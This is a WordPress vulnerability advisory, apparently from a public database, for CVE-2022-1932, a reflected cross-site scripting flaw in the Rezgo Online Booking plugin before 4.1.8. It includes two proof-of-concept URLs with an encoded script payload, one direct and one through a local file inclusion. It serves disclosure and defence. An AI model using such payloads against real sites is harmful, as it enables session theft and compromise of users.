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WordPress Plugin Vulnerabilities

Rezgo Online Booking < 4.1.8 - Reflected Cross-Site-Scripting

Description

The plugin does not sanitise and escape some parameters before outputting them back in a page, leading to a Reflected Cross-Site Scripting, which can be exploited either via a LFI in an AJAX action, or direct call to the affected file

Proof of Concept

Direct call: https://example.com/wp-content/plugins/rezgo/rezgo/templates/default/frame_header.php?tags=%22%3E%3Cscript%3Ealert(`xss`)%3C/script%3E

Via the LFI:

Once the plugin is configured (can use a dummy "Rezgo Company Code" and "Rezgo API Key" in the "Acccount Information" settings section):

http://example.com/wp-admin/admin-ajax.php?action=rezgo&method=rezgo/templates/default/frame_header&tags=%22%3E%3Cscript%3Ealert(`xss`)%3C/script%3E 

Affects Plugins

rezgo
Fixed in version 4.1.8

References

CVE
CVE-2022-1932

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

cydave

Submitter

cydave

Submitter website
https://cyllective.com/
Submitter twitter
cyllective
Verified

Yes

WPVDB ID
005c2300-f6bd-416e-97a6-d42284bbb093

Timeline

Publicly Published

2022-07-26 (about 10 months ago)

Added

2022-07-26 (about 10 months ago)

Last Updated

2022-08-25 (about 9 months ago)

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